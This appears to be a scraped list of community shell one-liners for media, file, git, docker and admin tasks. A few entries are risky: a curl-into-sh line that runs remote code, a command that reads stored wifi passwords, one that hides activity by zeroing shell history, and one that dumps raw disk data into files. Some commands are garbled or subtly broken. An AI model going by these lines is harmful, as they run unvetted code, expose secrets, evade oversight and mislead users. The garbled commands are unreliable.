mogrify -resize 600x800! *.jpg
Asynchronous PID Management
sh time.sh 1 20 & var1="$!" & sh time.sh 2 10 & var2="$!" & sh time.sh 3 40 & var3="$!" & sh time.sh 4 30 & var4="$!" ; wait $var1 && wait $var2 && wait $var3 && wait $var4
List all files in current dir and subdirs sorted by size
find . -printf "%s %p\n" | sort -n
To remove all *.swp files underneath the current directory
find . -name \*.swp -type f -delete
Convert an SVG to png and crush filesize
svg2png(){ png="${1%.*}.png"; inkscape --export-png="$png" --without-gui "$1" && pngcrush -brute -rem alla -rem text "$png" "$png.new" && mv "$png.new" "$png";}
For pictures : copy the last hierarchical keyword (tag) in the caption (title, description) if empty.
exiftool -overwrite_original -preserve -recurse "-iptc:Caption-Abstract<${XMP:HierarchicalSubject;s/.+\|//g}" -if "not $iptc:Caption-Abstract" DIR
checking cpu utilization (what total idle is cpu)
sar 1 3
Find files and calculate size of result in shell
find . -name "pattern" -type f -exec du -ch {} + | tail -n1
16 Character Random Password
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;
Create shortcut with lubuntu
lxshortcut -o ~/Desktop/myLauncher
Get unique list of files that I've committed directly to the current branch
git log --author="$(git config user.name)" --pretty=format: --name-only --date=iso --no-merges develop.. | grep '.' | sort | uniq
Convert unix timestamp to date
date -r 1436241882
unblock multiple files
dir c:\mydir -Recurse | Unblock-File
Do mathematical operation on every line of a given file for the first value found to be replaced (other lines stay untouched)
n=1000;f="test.csv";r='([0-9]+.{0,1}[0-9]*)';echo -n "" > new_${f};cat $f | while read l;do val=`echo $l | egrep -o $r` ; if [ ! -z $val ];then newval=`echo $val \* $n | bc -l`;l=`echo $l | sed "s/$val/$newval/"`;fi;echo $l >> new_${f};unset val;done
Raspberry Pi serial number w/o leading zeros
sed '$!d s/.*: 0\+//' /proc/cpuinfo
List available upgrades from apt without upgrading the system
apt list --upgradable
Remove all docker images to cleanup disk
docker image prune
Merge - Concate MP3 files
sox *.mp3 -t wavpcm - | lame - > bunch.mp3
Install an entire folder of .apk files to your android device thru adb
find ~/path/to/apk/files -name '*.apk' -exec adb install {} \;
Get the date for the last Saturday of a given month
desiredDay=6; year=2012; month=5; n=0; while [ $(date -d "$year-$((month+1))-1 - $n day" "+%u") -ne $desiredDay ]; do n=$((n+1)); done; date -d "$year-$((month+1))-1 - $n day" "+%x"
List information about a specific physical volume (eg-hdisk1)
lspv hdisk1
Radom polygen subject for GnuPG mail (icedove + enigmail)
icedove --compose subject=$(polygen ~/.icedove/xxxxxxx.default/bofh.grm)
To show which desktop environment I have installed
ls -l /usr/share/xsessions/
Check if a port is open to the internet using canyouseeme.org
cysm() { curl -sd port="$1" http://canyouseeme.org |grep -o 'Success\|Error' }
Git diff last two commits
git diff $(git log --pretty=format:%h -2 --reverse | tr "\n" " ")
change file permission modes (symbolic notation)
chmod rwxrw-r-- /path/to/file
Number of CPU's in a system
grep -cE "^processor" /proc/cpuinfo
Remove color codes (special characters) with sed
sed -r "s/(\x1B|\033)(\(B|\[([0-9]{1,2}(;[0-9]{1,2})?)?[A-Z])//Ig"
play all mp4 files on home directory
find ~ -name '*.mp4' | xargs mplayer
Compile a latex doc to generate index
ruby -e " 3.times { system 'pdflatex mydoc.tex' } "
Run last history entry based on a given command
![command]
test connection to a remote IP / port
nc -z <IP> <TCP port> OR nc -zu <IP> <UDP port>
Grep across a directory and open matching files in vim (one tab per file)
vim -p `grep -r PATTERN TARGET_DIR | cut -f1 -d: | sort | uniq | xargs echo -n`
Convert windows text file to linux text document
tr -d "\r" < dos.txt > linux.txt
Tracklist reaplace backspace to '-'
ls|grep .mp3 >list.txt; while read line; do newname=`echo $line|sed 's/\ /-/g'|sort`; newname=`echo $newname|tr -s '-' `; echo $newname; echo $newname>> tracklist.txt;mv "$line" "$newname"; done <list.txt; rm list.txt
Tracing shell scripts with time stamps
set -x && PS4='+\t '
avoid ssh hangs using jobs
for host in $HOSTNAMES; do ping -q -c3 $host && ssh $host 'command' & for count in {1..15}; do sleep 1; jobs | wc -l | grep -q ^0\$ && continue; done; kill %1; done &>/dev/null
Batch rename files from the command line (in this case jpegs)
i=1; for f in *.[jJ][pP][gG]; do mv -- "$f" "$( printf "new_name_of_file-%04d.jpg" $i )"; ((i++)); done
List open file descriptor count by PID
lsof | cut -f 1 -d ' ' | uniq -c | sort -rn | head -n 10
Returns the current timestamp
date +%s
Search recursive all docx files for SearchTerm and print its name
find . -name '*docx' -exec sh -c "unzip -p {} word/document.xml | sed -e 's/<[^>]\{1,\}>//g; s/[^[:print:]]\{1,\}//g' | grep -i SearchTerm -q && echo {} " \;
Regex expand filenames to execute certain commands
cp -a file_to_backup{,-$(date +%F)}
Change the default Catfish file manager and search method
catfish --fileman=nautilus --path=/home/<username> --hidden --method=find
Generate a list of installed packages on Debian-based systems
aptitude search ~i -F %p
Add command to bash history without executing it
history -s command
Find files of particular size in a directory
find . -size +10240k -exec stat -c%s" "%n {} \; | sort -rn
list unique file extensions recursively for a path, include extension frequency stats
find /some/path -type f | gawk -F/ '{print $NF}' | gawk -F. '/\./{print $NF}' | sort | uniq -c | sort -rn
Find core files
find . -type f -regex ".*/core.[0-9][0-9][0-9][0-9]$"
Microsoft Robocopy imitation (with recursion, pruning, and compression)
rsync -ahhmz --progress --stats [[user@]host:]/source/path/ [[user@]host:]/destination/path/
cd out n directories (To move n level out of current directory)
cdb(){ range=$(eval "echo '{1..$1}'"); toPrint="'../%.0s' $range"; printfToEval=$(echo "printf $toPrint"); toCd=$(eval $printfToEval); eval "cd $toCd"; }
Sort your files
perl -MPOSIX=strftime -MFile::Path -e 'for(glob"*"){mkpath$d=strftime"%Y-%m-%d", localtime((stat)[9]);rename$_,"$d/$_"}'
all java -Xmx values in a system, add them up
ps -ef | grep jav[a] | awk '{print substr($1,1),substr($2,1),substr($0,index($0,"-Xms"),7),substr($0,index($0,"-Xmx"),7)}'
Copy files (.pdfs in this case) from a directory hierarchy to a different directory, ignoring the original structure
find <source_directory> -name *.pdf -exec mv {} <destination_dir> \;
Copying part of the files from one directory to another
find dir1 -maxdepth 1 -type f | head -100000 | xargs mv -t dir2/subdir
Capture video Macbook webcam with cpu accelerated
ffmpeg -f avfoundation -framerate 30 -video_size 1280x720 -pix_fmt uyvy422 -i "0" -c:v h264_videotoolbox -profile:v high -b:v 3M -color_range 1 /tmp/out.mp4
Read the Useless Use of Cat Awards page
elinks http://partmaps.org/era/unix/award.html
Command to build one or more network segments - with while
seg() { echo -e "$1" | while read LINE; do for b in $(seq 10); do echo $LINE.$b; done; done; }
remove at jobs
atrm $(atq|cut -f1)
Get a count of how many file types a project has
printf "\n%25s%10sTOTAL\n" 'FILE TYPE' ' '; for ext in $(find . -iname \*.* | egrep -o '\.[^[:space:].]+$' | egrep -v '\.svn*' | sort -f | uniq -i); do count=$(find . -iname \*$ext | wc -l); printf "%25s%10s%d\n" $ext ' ' $count; done
type partial command, kill this command, check something you forgot, yank the command, resume typing.
dd [...] p
Random mrxvt background
LIST="/some/pic/file /another/picture /one/more/pic"; PIC=$(echo $LIST | sed s/"\ "/"\n"/g | shuf | head -1 | sed s/'\/'/'\\\/'/g ); sed -i s/Mrxvt.Pixmap:.*/"Mrxvt.Pixmap:\t$PIC"/ ~/.mrxvtrc
Replace the Caps Lock key with Control
setxkbmap -option ctrl:nocaps
mplayer all flash videos being streamed in Chromium
mplayer $(ls -l /proc/$(pgrep -f flash)/fd/* |grep Flash | cut -d" " -f8)
Convert phone book VCARD to text
tr -d "\r" < file.vcf | tr "\0" " " > file.vcf.txt
Run git gc in all git repositories bellow .
find . -name .git -print0 | while read -d $'\0' g; do echo "$g"; cd "$g"; git gc --aggressive; cd -; done
open emacs within terminal
emacs -nw
Mount Windows fileshare on a domain from bash
mount -t cifs -o username=SlackerMojo,domain=BIGGREEDY,rw //192.168.4.24/f /mnt/storage
extract raw audio from video
ffmpeg -i orig_video.wmv audio_out.wav
Count relevant lines of shell code in a git repo
egrep -v '^\s*($|#)' $(git grep -l '#!/bin/.*sh' *) | wc -l
see whats getting written into all of the open logfiles under /var/log
eval `lsof +D /var/log|(read;awk '{print "tail -f " $9 " &" }'|sort|uniq)`
Count number of javascript files in subdirectories
find . -mindepth 2 -name "*.js" -type f |wc -l
Creates a customized search command
alias cr='find . 2>/dev/null -regex '\''.*\.\(c\|cpp\|pc\|h\|hpp\|cc\)$'\'' | xargs grep --color=always -ni -C2'
Alias for displaying a process tree nicely
alias pst='pstree -Alpha'
Command to build one or more network segments - with for
seg() { for b in $(echo $1); do for x in $(seq 10); do echo $b.$x; done; done }
force change password for all user
while IFS=: read u x; do passwd -e "$u"; done < /etc/passwd
Greets the user appropriately
echo -e "12 morning\n15 afternoon\n24 evening" |awk '{if ('`date +%H`'<$1) {print "Good "$2;exit}}'
Posts a file to sprunge.us and copies the related url to the clipboard
sprunge () { curl -s -F "sprunge=@$1" http://sprunge.us | xclip -selection clipboard && xclip -selection clipboard -o; }
Restore permissions or ownership from a backup directroy
for x in `find /dir_w_wrong_ownership/`; do y=`echo "$x" | sed 's,/dir_w_wrong_ownership/,/backup_dir/,'`; chown --reference $y $x; done;
Get the name or user running the process of specified PID
ps -p pid -o logname |tail -1
Remove color codes (special characters) with sed
sed -r 's/'$(echo -e "\033")'\[[0-9]{1,2}(;([0-9]{1,2})?)?[mK]//g'
Remove all .svn directories recursively from a directory
find . -name '.svn' -type d | xargs rm -rf
If a directory contains softlinks, grep will give lot of warnings. So better use it along with find command so that softlinks are excluded. "Hn" operator will take care that both line number and filename is shown in grep output
find /path/to/search/directory -exec grep -Hn "pattern" {} \;
Locate command for MAC OSX
alias locate='if [ $((`date +%s`-`eval $(stat -s /var/db/locate.database); echo $st_mtime`)) -gt 3600 ]; then echo "locate: db is too old!">/dev/stderr; sudo /usr/libexec/locate.updatedb; fi; locate -i'
kvm disk info
while read X ; do printf "$X --"; virsh dumpxml $X | egrep "source dev|source file"; done< <(virsh list | awk '$1 ~ /^[1-9]/ { print $2 }')
open emacs with no init file
emacs -q
Check the state of a service
sc query service_name
Download German word pronounciation as mp3 file
for w in [WORT1] [WORTn]; do wget -O $w.mp3 $(wget -O - "http://www.duden.de/rechtschreibung/$w" | grep -o "http://www.duden.de/_media_/audio/[^\.]*\.mp3"); done
Full remote server backup over cstream using tar (excluding unnecessary files) (reports every 10 seconds)
tar -cj / -X /tmp/exclude.txt | cstream -v 1 -c 3 -T 10 | ssh user@host 'tar -xj -C /backupDestination'
Download and run script
sh -c "$(curl -fsSL <link>)"
replace audio track in a video file
ffmpeg -i orig_video.wmv -i new_audio.wav -vcodec copy -map 0.0 -map 1.0 new_video.wmv
Convert XCF images in PNG images
xcf2png imagein.xcf -o imageout.png
Show lines that are not commented out
grep "^[^#;]" /etc/php.ini
Read just the IP address of a device
hostname -I | awk '{print $1}'
security find-generic-password -ga "ROUTERNAME" | grep "password:"
access wifi password through terminal (osx)
Kill all processes that listen to ports begin with 50 (50, 50x, 50xxx,…)
sudo netstat -plnt | grep :50 | awk '{print $7}' | awk -F/ '{print $1}' | xargs kill -9
Generate a sequence of numbers.
seq 12
Play files with mplayer, including files in sub-directories, and have keyboard shortcuts work
mplayer -playlist <(find $PWD -type f)
Iterate through screens
for pid in `screen -ls | grep -v $STY | grep tached | awk '{print $1;}' | perl -nle '$_ =~ /^(\d+)/; print $1;'`; do screen -x $pid; done
Find all relevant certificates (excluding some dirs) and list them each
for crt in $(locate -r '.+\.crt' | grep -v "/usr/share/ca-certificates/"); do ls -la $crt; done
Transcode an interlaced video
avconv -i interlaced.avi -c:v libx264 -preset slow -tune film -flags +ilme+ildct -c:a copy transcoded.mp4
Log Lines Per Second apache, nginx, haproxy and/or squid
tail -F /var/log/apache2/access.log | pv -N RAW -lc 1>/dev/null
open emacs with different HOME
HOME=/home/sachin/another-emacs-home emacs
Open current wallpaper on nautilus file-manager (change file-manager name for others)
gsettings get org.gnome.desktop.background picture-uri | xargs nautilus
Compile all gettext source files
find ./i18n -name "*.po" | while read f; do msgfmt $f -o ${f%.po}.mo; done
Show which programs are listening on TCP ports
netstat -tapn|grep LISTEN
extract audio from video files to WAV
mplayer -ao pcm:fast:file=audio.wav -vo null -vc null video.avi
Select a video and audio quality and merge in a mkv
youtube-dl -f 137+22 <URL> --merge-output-format mkv
Directory listing and serve folder on port 8000
tree -H '.' -L 1 > index.html && php -S `hostname -I | cut -d' ' -`:8000
Autossh Tunnel Through Proxy
autossh -o "ProxyCommand nc --proxy <proxy_hostname_or_ip>:<proxy_port> %h %p" -M 20000 -f -N <hostname_or_ip> -p 443 -R 2222:localhost:22 -C
Check the total memory usage of processes with a specific name
pids=$(pidof chrome); for p in ${pids[@]}; do cat /proc/$p/status | grep -i vmrss | awk '{print $2}'; done | while read m; do let t=$t+$m; echo $t; done | echo "$(tail -n 1) kB"
Print the list of all files checked out by Perforce SCM
alias opened='p4 opened | awk -F!!! Example ""{print \$1}"'
Create a multi-part RAR archive
rar a -v[SIZE] [archivename] [files]
Get your external IP address
wget -qO - http://www.sputnick-area.net/ip;echo
Create SSH key exchange from one host to the other
cat ~/.ssh/id_rsa.pub | ssh <remote_host> "xargs --null echo >> ~/.ssh/authorized_keys"
Play back shell session recorded using the
(IFS=; sed 's/^[]0;[^^G]*^G/^M/g' <SessionLog> | while read -n 1 ITEM; do [ "$ITEM" = "^M" ] && ITEM=$'\n'; echo -ne "$ITEM"; sleep 0.05; done; echo)
Summarize total storage used by files obtained by a find command
find /path/to/archive/?/??/??? -mtime -7 -name "*.pdf" | xargs stat -c "%s"| awk '{sum +=$1}END{printf("%0.0f\n",sum)}'|sed -r ':Label;s=\b([0-9]+)([0-9]{3})\b=\1,\2=g;t Label'
grep for a list of values and list matching values NOT matching lines each time they match
goo some things you search for < file
Realtime apache hits per second
tcpflow -c port 80 | grep Host
Tracklist reaplace backspace to '-'
rename 's/ /-/g' *.mp3
convert single digit to double digits
for i in [0-9].ogg; do mv {,0}$i; done
Test against loopback address with the 0.0.0.0 default route.
telnet 0 <port>
emacs: byte compile file
emacs --batch -Q -no-site-file -eval '(byte-compile-file "my-file.el")'
You can access some-image.html where you include a image any other file than you can access it through http using a browser (e.g. http://xxx.xxx.xxx.xxx:12345 )
cat some-image.html | nc -v -l -p 12345
Git autocomplete
wget https://raw.githubusercontent.com/git/git/master/contrib/completion/git-completion.bash; mv git-completion.bash ~/.git-completion.bash; echo "source ~/.git-completion.bash" > ~/.bashrc; source ~/.git-completion.bash
Count the number of pages of all PDFs in current directory and all subdirs, recursively
find . -name "*.pdf" -exec pdftk {} dump_data output \; | grep NumberOfPages | awk '{print $1,$2}'
lists everything inside directories in your current working dir
ls -l */
convert WAV audio to MP3
lame -V0 -q0 --vbr-new audio.wav audio.mp3
Get the total length of all video / audio in the current dir (and below) in Hs
ls|grep ".wav"|parallel -j$(nproc) soxi -D {}|awk '{SUM += $1} END { printf "%d:%d:%d\n",SUM/3600,SUM%3600/60,SUM%60}'
get with grep exact x strings matches from output
grep "^[A-Za-z0-9]\{6\}$" myfile.txt
Generate Files with Random Content and Size in Bash
no_of_files=10; counter=1; while [[ $counter -le $no_of_files ]]; do echo Creating file no $counter; dd bs=1024 count=$RANDOM skip=$RANDOM if=/dev/sda of=random-file.$counter; let "counter += 1"; done
List your Boxee queue
curl -u <username> http://app.boxee.tv/api/get_queue | xml2 | grep /boxeefeed/message/description | awk -F= '{print $2}'
diff recursively, ignoring CVS control files
diff -x "*CVS*" -r <path-1> <path-2> [<path-3>]
Show directory sizes, refreshing every 2s
watch 'find -maxdepth 1 -mindepth 1 -type d |xargs du -csh'
intersection of two arrays
Array1=( "one" "two" "three" "four" "five" );Array2=( "four" "five" "six" "seven" );savedIFS="${IFS}";IFS=$'\n';Array3=($(comm -12 <(echo "${Array1[*]}" |sort -u) <(echo "${Array2[*]}" | sort -u)));IFS=$savedIFS
Decompress all .tar.gz files and remove the compressed .tar.gz
for i in *.tar.gz; do tar -x -v -z -f $i && rm -v $i; done
Delimiter Hunting
for i in `seq 0 9` A B C D E F; do for j in `seq 0 9` A B C D E F; do HEX=\$\'\\x${i}${j}\'; if ! eval grep -qF "$HEX" file; then eval echo $HEX \\x${i}${j}; fi; done; done 2> /dev/null | less
Tracklist reaplace backspace to '-'
perl -e 'for (<*.mp3>) { $old = $_; s/ /-/g; rename $old, $_ }'
Backup to LTO Tape with progress, checksums and buffering
bkname="test"; tobk="*" ; totalsize=$(du -csb $tobk | tail -1 | cut -f1) ; tar cvf - $tobk | tee >(sha512sum > $bkname.sha512) >(tar -tv > $bkname.lst) | mbuffer -m 4G -P 100% | pv -s $totalsize -w 100 | dd of=/dev/nst0 bs=256k
Check which program is using certain port
lsof -i :portnumber
Copy the partition table from /dev/sda to /dev/sdb
sfdisk -d /dev/sda | sudo sfdisk /dev/sdb
unpack a tar.gz archive
tar -zxvf archive.tar.gz
check if ufw (uncomplicated firewall) is enabled in bash
if grep ENABLED=yes /etc/ufw/ufw.conf>/dev/null; then echo "enabled"; else echo "disabled"; fi
Playback Digital Cinema Package files through VLC using FFMPEG realtime encoding
ffmpeg -re -i VIDEODCP.mxf -i AUDIODCP.mxf -vcodec h264 -acodec aac -f mpegts udp://127.0.0.1:1234
split & combine a large file
split -b 500m file.gz file.gz.part-
Convert CMYK PSD (Photoshop) file to RGBA
convert <input.psd> -channel RGBA -alpha Set -colorspace rgb <output.png>
Perl check if library is installed
perl -e "use SOAP::Lite"
Check if you need to run LaTeX more times to get the refefences right
egrep "(There were undefined references|Rerun to get (cross-references|the bars) right)" texfile.log
Create a mpeg4 video from a jpeg picture sequence (e.g. for pencil animation) , from the current directory with mencoder
mencoder mf://*.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc lavc -lavcopts vcodec=mpeg4 -oac copy -o output.avi
Show sorted list of files with sizes more than 1MB in the current dir
find . -maxdepth 1 -type f -size +1M -printf "%f:%s\n" | sort -t":" -k2
show tcp syn packets on all network interfaces
tcpdump -i any -n tcp[13] == 2
Count and show duplicate file names
find . -type f |sed "s#.*/##g" |sort |uniq -c -d
print all characters of a file using hexdump
xxd <file>
process lister/killer - no pgrep and pkill
_p(){ ps ax |grep $1 |sed '/grep.'"$1"'/d' |while read a;do printf ${a%% *}' ';printf "${a#* }" >&2;printf '\n';done;}
Revert all modified files in an SVN repo
for file in `svn st | awk '{print $2}'`; do svn revert $file; done
List image attributes from a folder of JPEG images
for file in *.jpg; do identify -format '%f %b %Q %w %h' $file; done
identify active network connections
lsof -i -P +c 0 +M | grep -i "$1"
Remove duplicate lines using awk
awk '!($0 in array) { array[$0]; print }' temp
Find all Mac Address
/sbin/lspci -v | grep -i "Device Serial Number"
Find processes blocked on IO
while [ 1 ] ;do ps aux|awk '{if ($8 ~ "D") print }'; sleep 1 ;done
Route some ips (or domain names) over VPN
sudo /sbin/route add -host 192.168.12.50 -interface ppp0
Convert a bunch of file from cbr to cbz
for i in *.cbr ; do mkdir ${i/\.cbr/} ; cp $i ${i/\.cbr/}/${i/cbr/rar} ; cd ${i/\.cbr/} ; unrar e ${i/cbr/rar} ; rm ${i/cbr/rar} ; cd .. ; zip -r ${i/cbr/cbz} ${i/\.cbr/} ; rm -r ${i/\.cbr/} ; done
Highlight the plain text in XML (or HTML, SGML, etc)
xmlpager() { xmlindent "$@" | awk '{gsub(">",">'`tput setf 4`'"); gsub("<","'`tput sgr0`'<"); print;} END {print "'`tput sgr0`'"}' | less -r; }
extract any type of archive (zip, gz, bz, rar, bz2, 7z…)
aunpack archive.7z
Keep the last 10 moodle backups
ls -t /mcdata/archive/learn/backup-moodle2-course-* | tail -n +11 | xargs -I {} rm {}
Revert a Digital Cinema Package back to a ProRes file, to (kind of) verify if the DCP creation wen't well
ffmpeg -i VIDEODCP.mxf -i AUDIODCP.mxf -vcodec h264 -acodec aac reverse-prores.mov
Find logs modified in the last 15 minutes
find /var/log -wholename "*.log" -mmin -15
Sort installed rpms by size
rpm -qa --queryformat '%{size} %{name}\n' | sort -rn
Memorable recursive directory listing
ls -ltrapR
log your PC's motherboard and CPU temperature along with the current date
date +%m/%d/%y%X|tr -d 'n' >>datemp.log&& sensors|grep +5V|cut -d "(" -f1|tr -d 'n'>> datemp.log && sensors |grep Temp |cut -d "(" -f1|tr -d 'n'>>datemp.log
touch every file in current folder and subfolder
find . -type f -exec touch "{}" \;
new ssl key and csr based on a previous ssl certificate
regenerateCSR () { openssl genrsa -out $2 2048; openssl x509 -x509toreq -in $1 -out $3 -signkey $2; }
Kill all processes belonging to a user
sudo -u $USER kill -9 -1
Force all processes matching argument to close.
killall -HUP argument
Use Growl to monitor your local apache error logs for new messages
/usr/bin/tail -fn0 /path/to/apache_error.log | while read line; do /usr/local/bin/growlnotify --title "Apache Notice" --message "$line"; done &
Add an "alert" alias for long running commands
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
Archive and compress a directory using gunzip compression
tar -zcvf archive_name.tar.gz directory_to_compress
Automatically sync current git project with remote host while editing
while true; do rsync -vR $(git ls-files | inotifywait -q -e modify -e attrib -e close_write --fromfile - --format '%w') user@host:dest/dir/; done
Automatic wget
alias wgety='wget -c $(xsel)'
search for a string/word in a file
grep word file.txt
Remove all untagged docker images
docker rmi $(docker images | grep "^<none>" | awk "{print $3}")
Search for a string in all files recursively
find . -type f | xargs grep <keyword>
Sync copy directories except (OSX)
rsync -rP --exclude=x source/ target/
A line across the entire width of the terminal
for ((i=0; i<$(tput cols); i++)); do echo -e "=\c" ;done
count and number lines of output, useful for counting number of matches
ps aux | grep [h]ttpd | cat -n
Create unique email addresses directly from the US census site*Full command in comments
paste -d "." <(curl http://.../dist.female.first http://.../dist.male.first | cut -d " " -f 1 | sort -uR) <(curl http://..../dist.all.last | cut -d " " -f 1 | sort -R | head -5163) | tr "[:upper:]" "[:lower:]" | sed 's/$/@test.domain/g'
find the device when you only know the mount point
df -P | awk '$6=="/media/KINGSTON" {print $1}'
map a command over a list of files - map-files /lib *.so ls -la
function map-files() { find $1 -name $2 -exec ${@:3} {} \; }
use md5sum -c recursively through subdirectory tree when every directory has its own checksum file
for i in $(find . -name *md5checksum_file* | sed 's/\(\.\/.*\)md5checksum_file.txt/\1/'); do cd "$i"; md5sum -c "md5checksum_file.txt"; cd -; done | tee ~/checksum_results.txt | grep -v "<current directory>"
Print without executing the last command that starts with…
^Rssh
Change the terminal foreground color
tput setf 4
Show WebSphere AppServer uid|pid|cell|node|jvms
ps -ef | grep [j]ava | awk -F ' ' ' { print $1," ",$2,"\t",$(NF-2),"\t",$(NF-1),"\t",$NF } ' | sort -k4
repeat a command every x seconds
while sleep 1; do foo; done
Check where mail was sent from
grep cwd /var/log/exim_mainlog | grep -v /var/spool | awk -F"cwd=" '{print $2}' | awk '{print $1}' | sort | uniq -c | sort -n
Recursive find all mp4s in a folder and convert to ogv if the ogv does not exist or the mp4 is newer then the current ogv
for file in $(find . -name *.mp4); do ogv=${file%%.mp4}.ogv; if test "$file" -nt "$ogv"; then echo $file' is newer then '$ogv; ffmpeg2theora $file; fi done
Move all located items to folder
locate -0 -i *barthes* | xargs -0 mv -t ~/'Library/Books/Barthes, Roland'
Remove all stopped docker containers
docker rm $(docker ps -a -q)
find the path of biggest used space
du -a / | sort -n -r | head -n 10
Grep live log tailing
tail -f some_log_file.log | grep --line-buffered the_thing_i_want
MySQL: Filter out specific tables from an existing mysqldump file with awk
cat db_dump.sql | awk '/DROP TABLE IF EXISTS/ { skip = $5 ~ /table1|table2/ } !skip { print $0 }' > db_dump_filtered.sql
shell alternative to 'basename'
echo ${file##*/}
run vmware virtual machine from the command line without the gui or X session
vmrun start /path/to/virtual_machine.vmx nogui
Get Futurama quotations from slashdot.org servers
curl -sI http://slashdot.org/ | sed -nr 's/X-(Bender|Fry)(.*)/\1\2/p'
Show a config file without comments
grep -v ^!!! Example "/etc/somefile.conf | grep .
prips can be used to print all IP addresses of a specified range.
prips
Create an animated gif from a Youtube video
youtube-dl -o bun.flv http://www.youtube.com/watch?v=SfPLcQhXpCc; mplayer bun.flv -ss 03:16 -endpos 5 -vo jpeg:outdir=bun:quality=100:smooth=30:progressive -vf scale=320:240 -nosound; convert -delay 4 -loop 0 bun/*.jpg bun.gif
List files under current directory, ignoring repository copies.
function have_here { find "${@:-.}" -type d \( -name .git -o -name .svn -o -name .bzr -o -name CVS -o -name .hg -o -name __pycache__ \) -prune -o -type f -print; }
Let you vanish in the (bash) history.
export HISTSIZE=0
Search in files
grep -i -h 'account.journal.cashbox.line' *.py
Clear the screen and list file
alias cls='clear;ls'
Remove files unpacked by unzip
zipinfo -1 aap.zip | xargs -d '\n' rm
Show your font name list
fc-query ./fonts/* | grep "family:" | cut -d '"' -f 2 | sort -u
display 10 biggest open files
lsof / | awk '{ if($7 > 1048576) print $7/1048576 "MB "$9 }' | sort -n -u | tail
Stop all docker containers
docker stop $(docker ps -a -q)
This commands create an alias for you to help you navigating in the shell easier.
alias rope='if [[ "$i" == "0" ]]; then cd $dir; i=1; else dir=$(pwd); export dir; i=0; fi'
get a list of running virtual machines from the command line (vmware)
vmrun list
bash glob dot-files
shopt -s dotglob
Linux zsh one-liner to Determine which processes are using the most swap space currently
for i in $(ps -ef | awk '{print $2}') ; { swp=$( awk '/Swap/{sum+=$2} END {print sum}' /proc/$i/smaps ); if [[ -n $swp && 0 != $swp ]] ; then echo -n "\n $swp $i "; cat /proc/$i/cmdline ; fi; } | sort -nr
List only directories, one per line
ls -l | grep ^d | sed 's:.*\ ::g'
Makes you look busy
alias busy='rnd_file=$(find /usr/include -type f -size +5k | sort -R | head -n 1) && vim +$((RANDOM%$(wc -l $rnd_file | cut -f1 -d" "))) $rnd_file'
Get your outgoing IP address
echo -n $(curl -Ss http://icanhazip.com) | xclip
w/o pgrep/pkill
_p(){ ps ax |grep $1 |sed '/grep.'"$1"'/d' |while read a;do printf ${a%% *}' ';printf "${a#* }" >&2;printf '\n';done;}
enable all bash completions in gentoo
eselect bashcomp enable --global $(eselect bashcomp list | sed -e 's/ //g'| cut -d']' -f2 | sed -e 's/\*//'| xargs)
the first command i type on fresh ubuntu
sudo apt-get install aptitude
hello
hello, too
cd Nst subdir
cdn() { cd $(ls -1d */ | sed -n $@p); }
securely move with rsync
alias smv="rsync --remove-source-files -varP"
Find a file and delete it
find filename -print0 | xargs -0 rm
Display a formated comma seperated spreadsheet .csv with letters and numbers for easy viewing and to check formula entry..
function sheet () { cat "$1" | sed '1s/^/a,b,c,d,e,f,g,h,j,k,l,m,n,o,p\n/' | column -s , -tn | nl -v 0 ; }
display swap space used by a process
awk '/VmSwap/{print $2 " " $3}' /proc/$PID/status
Git find branch for a file
git log --all -- '*RestSessionController*''
Download an entire website
wget -mkEpnp example.com
open any file or directory from shell as if clicking double click by mouse
gvfs-open
Using graphicsmagick, over an image transform the white color to transparent background
gm convert source.png -transparent white result.png
number the line of a file
cat -n file or cat -b file
convert a string of hex characters into ascii chars
echo $hex | perl -pe 's/(..)/chr(hex($1))/ge'
Print time and year of file in Solaris (or other Unix ls command that does not have a simple "–full-list")
perl -e '@F = `ls -1`;while (<@F>){@T = stat($_);print "$_ = " . localtime($T[8]) . "\n";}'
List all broadcast addresses for the routes on your host.
for net in $(ip route show | cut -f1 -d\ | grep -v default); do ipcalc $net | grep Broadcast | cut -d\ -f 2; done
List only directories, one per line
find . -maxdepth 1 -mindepth 1 -type d -printf "%f\n"
download all jpg in webpage
curl -sm1 http://www.website.com/ | grep -o 'http://[^"]*jpg' | sort -u | wget -qT1 -i-
Delimiter Hunting
perl -e '$f = join("", <>); for (0..127) {$_ = chr($_); if (/[[:print:]]/) {print if index($f, $_) < 0}} print "\n"'
hostgrep: set ip and hostname from /etc/hosts (non-DNS)
dng(){ local a;a=$(sed '/'"$1"'/!d' /etc/hosts |sed '=;'"${2-1,$}"'!d'|sed '/ /!d');echo $a|tr '\040' '\n'|nl -bp'[0-9]$'|less -E;export dn=$(echo $a|sed 's,.* ,,');export ip=$(echo $a|sed 's, .*,,');echo \$dn=$dn;echo \$ip=$ip;}
The letter your commands most often start with
for i in {a..z}; do echo $(cat ~/.bash_history | grep ^$i.* | wc -l) $i; done | sort -n -r
Backup all files matching a pattern to files with a timestamp
for FILE in *.conf; do cp $FILE{,.`date +%Y%m%dt%M:%H:%S`}; done
Check SSH fingerprints
for id in `ls -1 ~/.ssh | grep -v "authorized\|known_hosts\|config\|\."` ; do echo -n "$id: " ; ssh-keygen -l -f .ssh/$id ; done
generate a uuid
echo "import uuid\nimport sys\nsys.stdout.write(str(uuid.uuid4()))" | python
return external ip
nslookup . ifcfg.me
Kill all salt running processes
ps aux | grep salt | awk '{ print $2}' | xargs kill
Evaluate simple formulas in a .csv spreadsheet by converting and piping to the venerable sc.
cat FILE.csv |sed -e '1i,,,,,' |sed -e 's/=sum/@sum/g' -e 's/=SUM/@SUM/g' |psc -k -d, |sed -e 's/\"@SUM(/@SUM(/' -e 's/)"/)/' -e '/@SUM/ { s/rightstring/let/; }' -e '/= "=/s/rightstring/let/' -e '/= "=/s/"//g' -e 's/= =/= /g' |sc
ps to show child thread PIDs
ls -1 /proc/$(ps ax | grep <Process Name> | head -n 1 | awk '{print $1;}')/task | tail -n +2
Convert json files to tsv text blob
jq -r 'keys | join("\t")' $(ls -f *.json | head -1) && jq -Sr 'to_entries | [ .[] | .value | tostring ] | join("\t")' *.json
check squid logs for time value greater than 9000ms
cat squid.log| awk -v x=9000 '$2 >=x' | sort -hs| tail -n 100
Show a calendar
cal [[month] year]
Check the last 15 package operations (on yum systems)
tail -n 15 /var/log/yum.log | tac
Replace words with sed
